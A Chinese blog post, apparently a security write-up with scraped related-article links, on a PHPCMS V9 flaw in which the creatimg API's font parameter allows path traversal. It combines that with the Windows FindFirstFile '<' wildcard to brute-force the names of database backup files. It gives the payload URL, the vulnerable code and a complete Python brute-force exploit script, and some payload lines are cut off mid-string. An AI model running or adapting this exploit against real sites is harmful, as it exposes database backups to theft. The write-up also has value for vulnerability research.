phpcms数据库备份与恢复_phpcms V9 sql备份文件名爆破
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql>
我们知道windows的FindFirstFile(API)有个特性就是可以把<
这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作
# api.php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
include PHPCMS_PATH.'api/'.$op.'.php';
......
?>
在/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。
# /api/creatimg.php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
......
$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
......
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
......
爆破脚本如下:
#!/usr/bin/env python
# coding=utf-8
'''/*
* author = Mochazz
* team = 红日安全团队
* env = pyton3
*
*/
'''
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
url = "http://192.168.0.106"
flag = 0
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
payload = payload.format(location=pre)
r = requests.get(url+payload)
if r.status_code == 200 and "PNG" in r.text:
flag = 1
backup_sql = pre
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
print("[+] 前缀为:",backup_sql)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
payload = payload.format(location=backup_sql+ch)
r = requests.get(url + payload)
if r.status_code == 200 and "PNG" in r.text:
backup_sql += ch
print("[+] ",backup_sql)
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<
print("备份sql文件地址为:",backup_sql+".sql")
效果如下:
后记:
在测试的过程中,由于本地php环境出现问题,导致复现一直没成功,最终重装环境解决问题。实际上,如果这个程序加以修改,理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的,只要前缀重复的不多(例如get_file.php和get_img.php的重复前缀为get_)。
相关文章:
phpcms数据库备份与恢复_phpcms V9 sql备份文件名爆破相关推荐
- bat手动备份数据库,当前时间命名备份文件名
cd C:\Program Files\Huweishen.com\PHPWEB\MySQL Server 5.5\bin mysqldump -uroot -pxxxx hrfx > E:\h ...
- phpcms数据库备份与恢复_数据库备份与恢复方案
推荐教程:SQL教程 SQL SERVER数据备份方案 SQL SERVER数据库的备份方法主要有完整备份,差异备份,事务日志备份等.根据数据安全性的要求,推荐的备份方式为每周一次完整备份,每天一次差 ...
- 深入剖析ORACLE数据库备份与恢复的原理
一.ORACLE数据库备份与恢复方法 1,用户管理的ORACLE数据库备份与恢复 用户管理的ORACLE数据库备份与恢复是指使用SQL 语句命令结合OS命令备份和恢复DB的方法(也被称为OS 备份与恢 ...
- MySQL数据库——备份与恢复
文章目录 MySQL数据库--备份与恢复 一.Mysql备份概述 1.数据备份的重要性 2.备份必须重视的内容 3.备份过程中必须考虑因素 二.数据库备份的分类 1.物理备份 2.逻辑备份 3.备份方 ...
- Day526.数据库备份与恢复 -mysql
数据库备份与恢复 一.物理备份与逻辑备份 物理备份: 备份数据文件,转储数据库物理文件到某一目录.物理备份恢复速度比较快,但占用空间比较大,MySQL中可以用 xtrabackup 工具来进行物理备份 ...
- mysql 5.7 数据库备份_MySQL5.7.20数据库备份与恢复
MySQL数据库备份与恢复 · ####造成数据丢失的原因#### 程序错误 人为操作错误 运算错误 磁盘故障 灾难(如火灾.地震)和盗窃 · ####物理与逻辑的角度#### 1.物理备份: 冷备份 ...
- C#实现SQL数据库备份与恢复
有两种方法,都是保存为.bak文件.一种是直接用Sql语句执行,另一种是通过引用SQL Server的SQLDMO组件来实现: 1.通过执行Sql语句来实现 注意,用Sql语句实现备份与还原操作时,最 ...
- 在sqlyog进行数据库的备份_MySQL数据库备份与恢复(收藏+1)
MySQL数据库备份与恢复 尽管采取了一些管理措施来保证数据库的安全,但是在不确定的意外情况下,总是有可能造成数据的损失. 例如,意外的停电,不小心的操作失误等都可能造成数据的丢失. 所以为了保证数据 ...
- 在sqlyog进行数据库的备份_MYSQL数据库备份与恢复(收藏)
MySQL数据库备份与恢复 尽管采取了一些管理措施来保证数据库的安全,但是在不确定的意外情况下,总是有可能造成数据的损失. 例如,意外的停电,不小心的操作失误等都可能造成数据的丢失. 所以为了保证数据 ...
最新文章
- 为什么用了索引之后,查询就会变快?
- 如何用钉钉宜搭制定企业疫情防控数字化管理方案?
- 【Mybatis框架】从零开始学Mybatis框架——使用示例
- QtCreator无法编辑源文件
- Pytorch 张量tensor
- 【英语学习】4000 Words 【V1】【U01】The Lion and the Rabbit
- 光储充一体化充电站_忙时给车充电 闲时上网供电 多能电动车充电站在乐清投用...
- 爬虫练习:南阳理工学院ACM题目信息
- iis在xp3上的部署
- 蓝牙加密方案,蓝牙方案,蓝牙usbkey,蓝牙key,蓝牙U盾,蓝牙智能卡(公交卡等CPU卡),蓝牙身份认证产品分享,蓝牙公交卡,蓝牙会员卡
- bootstrap框架中的分割线
- 工作中的积极响应态度
- VS中如何导入并且播放音乐
- 2015年上半年数据库系统工程师考试上午真题
- 深度学习中的数据增强(上)
- 10-224 查询比“网络工程”专业所有学生年龄都小的学生姓名
- 项目经理到底要不要考取PMP证书呢?
- vue发送请求时遇到index.vue?6ced:90 Uncaught (in promise) TypeError: Cannot read properties of undefined
- linux虚拟地址空间管理,Linux内存管理4---虚拟地址空间管理
- EGO1—使用8选1数据选择器实现四输入逻辑函数 f=∑wxyz(1,3,6,7,11,13,14)
热门文章
- JS中设置input的type=radio默认选中
- 预训练+微调+Rethinking ImageNet Pre-training论文阅读笔记
- 学云计算与大数据前景如何?就业又该何去何从?
- Mac M1 10.15+开启允许安装任何来源
- 成都旅游 必吃火锅 看蜀大侠龙头火锅炼成记
- c语言标准io进程,IO系统-标准C的I/O和文件I/O
- 别再傻傻的用CentOS 8的版本了,快升级成CentOS 8 Steam (升级教程)
- 数据库内置函数——关于字符串的操作
- 第8章第2节:制作企业宣传册的封面幻灯片 [PowerPoint精美幻灯片实战教程]
- 【数据结构】无头节点的单链表逆置